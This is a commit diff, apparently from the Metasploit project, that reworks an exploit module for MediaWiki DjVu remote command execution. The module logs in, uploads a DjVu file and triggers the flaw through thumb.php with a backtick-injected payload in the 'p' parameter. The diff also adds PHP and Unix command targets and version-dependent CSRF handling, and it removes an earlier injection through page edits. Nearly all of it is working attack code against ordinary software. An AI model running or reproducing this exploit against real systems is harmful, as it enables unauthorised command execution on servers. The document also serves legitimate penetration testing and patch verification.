Use bperry's trigger

bug/bundler_fix
Meatballs 2014-02-04 00:51:34 +00:00
parent 76515092ce
commit 2fd8257c7e
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 120 additions and 102 deletions

View File

@ -4,7 +4,6 @@
## ##
require 'msf/core' require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking Rank = ExcellentRanking
@ -13,7 +12,7 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
'Name' => 'MediaWiki DjVu Authenticated Remote Command Execution', 'Name' => 'MediaWiki DjVu Thumb Remote Command Execution',
'Description' => %q{ 'Description' => %q{
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11, MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11,
when DjVu file upload support is enabled, allows remote authenticated when DjVu file upload support is enabled, allows remote authenticated
@ -23,6 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' => 'Author' =>
[ [
'Netanel Rubin', # from Check Point - Discovery 'Netanel Rubin', # from Check Point - Discovery
'Brandon Perry', # Metasploit Module
'Ben Harris', # Metasploit Module 'Ben Harris', # Metasploit Module
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' # Metasploit Module
], ],
@ -35,31 +35,74 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ] [ 'URL', 'https://bugzilla.wikimedia.org/show_bug.cgi?id=60339' ]
], ],
'Privileged' => false, 'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP, # Could do ARCH_CMD
'Targets' => 'Targets' =>
[ [
[ 'Automatic', { } ], [ 'PHP-CLI',
], {
'Payload' => 'Payload' =>
{ {
'BadChars' => "\r\n" 'BadChars' => "`\r\n'",
'PrependEncoder' => "php -r '",
'AppendEncoder' => "'"
}, },
'Platform' => ['php'],
'Arch' => ARCH_PHP
}
],
[ 'CMD',
{
'Payload' =>
{
'BadChars' => "`",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python php',
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0, 'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 28 2014')) 'DisclosureDate' => 'Jan 28 2014'))
register_options( register_options(
[ [
OptString.new('TARGETURI', [ true, "Base index.php path", '/index.php']), OptString.new('TARGETURI', [ true, "Base MediaWiki path", '/mediawiki' ]),
OptString.new('USERNAME', [ true, "Username to authenticate with", '']), OptString.new('FILENAME', [ false, "Target DjVu file (e.g target.djvu)", nil ]),
OptString.new('USERNAME', [ false, "Username to authenticate with", '' ]),
OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ]) OptString.new('PASSWORD', [ false, "Password to authenticate with", '' ])
], self.class) ], self.class)
end end
def get_version(body)
meta_generator = get_html_value(body, 'meta', 'generator', 'content')
unless meta_generator
vprint_status("No META Generator tag on #{full_uri}.")
return nil, nil, nil
end
if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
return major, minor, patch
end
return nil, nil, nil
end
def check def check
uri = target_uri.path uri = target_uri.path
opts = { 'uri' => uri } opts = { 'uri' => normalize_uri(uri, 'index.php') }
response = send_request_cgi_follow_redirect(opts) response = send_request_cgi_follow_redirect(opts)
@ -75,21 +118,13 @@ class Metasploit3 < Msf::Exploit::Remote
# Mediawiki will give a 404 for unknown pages but still have a body # Mediawiki will give a 404 for unknown pages but still have a body
if response.code == 200 || response.code == 404 if response.code == 200 || response.code == 404
vprint_status("#{response.code} response received...") vprint_status("#{response.code} response received...")
meta_generator = get_html_value(response.body, 'meta', 'generator', 'content')
unless meta_generator major, minor, patch = get_version(response.body)
vprint_status("No META Generator tag on #{full_uri}.")
unless major
return CheckCode::Unknown return CheckCode::Unknown
end end
if meta_generator && meta_generator =~ /mediawiki/i
vprint_status("#{meta_generator} detected.")
meta_generator =~ /(\d)\.(\d+)[\.A-z]+(\d+)/
major = $1.to_i
minor = $2.to_i
patch = $3.to_i
vprint_status("Major:#{major} Minor:#{minor} Patch:#{patch}")
if major != 1 if major != 1
return CheckCode::Safe return CheckCode::Safe
else else
@ -107,9 +142,6 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
end end
else
return CheckCode::Unknown
end
else else
vprint_status("Received response code #{response.code} from #{full_uri}") vprint_status("Received response code #{response.code} from #{full_uri}")
end end
@ -118,13 +150,21 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def exploit def exploit
uri = target_uri.path
# If we have already identified a DjVu file on the server trigger
# the exploit
if datastore['FILENAME']
payload_request(uri, datastore['FILENAME'])
return
end
username = datastore['USERNAME'] username = datastore['USERNAME']
password = datastore['PASSWORD'] password = datastore['PASSWORD']
uri = target_uri.path
print_status("Grabbing login CSRF token...") print_status("Grabbing login CSRF token...")
response = send_request_cgi({ response = send_request_cgi({
'uri' => uri, 'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'title' => 'Special:UserLogin' } 'vars_get' => { 'title' => 'Special:UserLogin' }
}) })
@ -132,6 +172,20 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotFound, "Failed to retrieve webpage.") fail_with(Failure::NotFound, "Failed to retrieve webpage.")
end end
major, minor, patch = get_version(response.body)
# Upload CSRF added in v1.18.2
# http://www.mediawiki.org/wiki/Release_notes/1.18#Changes_since_1.18.1
if ((major == 1) && (minor == 18) && (patch == 0 || patch == 1))
upload_csrf = false
elsif ((major == 1) && (minor < 18))
upload_csrf = false
else
upload_csrf = true
end
session_fixation = (major == 1 && minor <= 15)
session_cookie = response.get_cookies session_cookie = response.get_cookies
wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value') wp_login_token = get_html_value(response.body, 'input', 'wpLoginToken', 'value')
@ -144,7 +198,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Attempting to login...") print_status("Attempting to login...")
login = send_request_cgi({ login = send_request_cgi({
'uri' => uri, 'uri' => normalize_uri(uri, 'index.php'),
'method' => 'POST', 'method' => 'POST',
'vars_get' => { 'vars_get' => {
'title' => 'Special:UserLogin', 'title' => 'Special:UserLogin',
@ -168,9 +222,16 @@ class Metasploit3 < Msf::Exploit::Remote
auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','') auth_cookie = login.get_cookies.gsub('mediawikiToken=deleted;','')
print_status("Getting upload CSRF token...") # Testing v1.15.1 it looks like it has session fixation
# vulnerability so we dont get a new session cookie after
# authenticating. Therefore we need to include our old cookie.
unless auth_cookie.include? 'session='
auth_cookie << session_cookie
end
print_status("Getting upload CSRF token...") if upload_csrf
upload_file = send_request_cgi({ upload_file = send_request_cgi({
'uri' => normalize_uri(uri, "/Special:Upload"), 'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'cookie' => auth_cookie 'cookie' => auth_cookie
}) })
@ -178,14 +239,14 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::NotFound, "Failed to access file upload page.") fail_with(Failure::NotFound, "Failed to access file upload page.")
end end
wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') wp_edit_token = get_html_value(upload_file.body, 'input', 'wpEditToken', 'value') if upload_csrf
wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value') wp_upload = get_html_value(upload_file.body, 'input', 'wpUpload', 'value')
title = get_html_value(upload_file.body, 'input', 'title', 'value') title = get_html_value(upload_file.body, 'input', 'title', 'value')
unless wp_edit_token if upload_csrf && wp_edit_token
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
else
print_good("Retrieved upload CSRF token.") print_good("Retrieved upload CSRF token.")
elsif upload_csrf
fail_with(Failure::UnexpectedReply, "Couldn't find upload token. Is URI set correctly?")
end end
upload_mime = Rex::MIME::Message.new upload_mime = Rex::MIME::Message.new
@ -198,7 +259,7 @@ class Metasploit3 < Msf::Exploit::Remote
upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"") upload_mime.add_part("#{rand_text_alpha(4)}", nil, nil, "form-data; name=\"wpUploadDescription\"")
upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"") upload_mime.add_part("", nil, nil, "form-data; name=\"wpLicense\"")
upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"") upload_mime.add_part("1",nil,nil, "form-data; name=\"wpIgnoreWarning\"")
upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") upload_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"") if upload_csrf
upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"") upload_mime.add_part(title, nil, nil, "form-data; name=\"title\"")
upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"") upload_mime.add_part("1", nil, nil, "form-data; name=\"wpDestFileWarningAck\"")
upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"") upload_mime.add_part(wp_upload, nil, nil, "form-data; name=\"wpUpload\"")
@ -208,7 +269,7 @@ class Metasploit3 < Msf::Exploit::Remote
upload = send_request_cgi({ upload = send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(uri, "Special:Upload"), 'uri' => normalize_uri(uri, 'index.php', 'Special:Upload'),
'data' => post_data, 'data' => post_data,
'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}", 'ctype' => "multipart/form-data; boundary=#{upload_mime.bound}",
'cookie' => auth_cookie 'cookie' => auth_cookie
@ -225,64 +286,21 @@ class Metasploit3 < Msf::Exploit::Remote
end end
end end
random_page = rand_text_alpha(8) payload_request(uri, file_name)
print_status("Retrieving edit CSRF token for target page: #{random_page}...")
random_edit = send_request_cgi({
'uri' => uri,
'vars_get' => {
'title'=> random_page,
'action' => 'edit'
},
'cookie' => auth_cookie
})
unless random_edit and random_edit.code == 200
fail_with(Failure::NotFound, "Failed to open target edit page: #{random_page}.")
end end
wp_auto_summary = get_html_value(random_edit.body, 'input', 'wpAutoSummary', 'value') def payload_request(uri, file_name)
wp_edit_token = get_html_value(random_edit.body, 'input', 'wpEditToken', 'value') p = "1`#{payload.encoded}`"
wp_start_time = get_html_value(random_edit.body, 'input', 'wpStarttime', 'value')
wp_edit_time = get_html_value(random_edit.body, 'input', 'wpEdittime', 'value')
old_id = get_html_value(random_edit.body, 'input', 'oldid', 'value')
wp_scroll_top = get_html_value(random_edit.body, 'input', 'wpScrolltop', 'value')
wp_section = get_html_value(random_edit.body, 'input', 'wpSection', 'value')
if wp_edit_token
print_good("Retrieved edit CSRF token.")
else
fail_with(Failure::UnexpectedReply, "Failed to retrieve edit CSRF token.")
end
edit_mime = Rex::MIME::Message.new
edit_mime.add_part(wp_section, nil, nil, "form-data; name=\"wpSection\"")
edit_mime.add_part(wp_start_time, nil, nil, "form-data; name=\"wpStarttime\"")
edit_mime.add_part(wp_edit_time, nil, nil, "form-data; name=\"wpEdittime\"")
edit_mime.add_part(wp_scroll_top, nil, nil, "form-data; name=\"wpScrolltop\"")
edit_mime.add_part(wp_auto_summary,nil,nil, "form-data; name=\"wpAutoSummary\"")
edit_mime.add_part(old_id, nil, nil, "form-data; name=\"oldid\"")
edit_mime.add_part("[[Image:#{file_name}|width=9999|page=1$(php -r '#{payload.encoded}')]]", nil, nil, "form-data; name=\"wpTextbox1\"")
edit_mime.add_part("Save page", nil, nil, "form-data; name=\"wpSummary\"")
edit_mime.add_part(wp_edit_token, nil, nil, "form-data; name=\"wpEditToken\"")
post_data = edit_mime.to_s(true)
print_status("Sending payload request...") print_status("Sending payload request...")
edit = send_request_cgi({ send_request_cgi({
'uri' => uri, 'uri' => normalize_uri(uri, 'thumb.php'),
'method' => 'POST',
'cookie' => auth_cookie,
'vars_get' => { 'vars_get' => {
'title' => random_page, 'f' => file_name,
'action' => 'submit' 'width' => '1',
'p' => p
}, },
'data' => post_data, })
'ctype' => "multipart/form-data; boundary=#{edit_mime.bound}"
}, 1)
if edit
fail_with(Failure::PayloadFailed, "Server responded to edit request (Not expected).")
end
end end
# The order of name, value keeps shifting so regex is painful. # The order of name, value keeps shifting so regex is painful.
@ -308,7 +326,7 @@ class Metasploit3 < Msf::Exploit::Remote
return doc.root.attributes[value] return doc.root.attributes[value]
end end
nil ''
end end
end end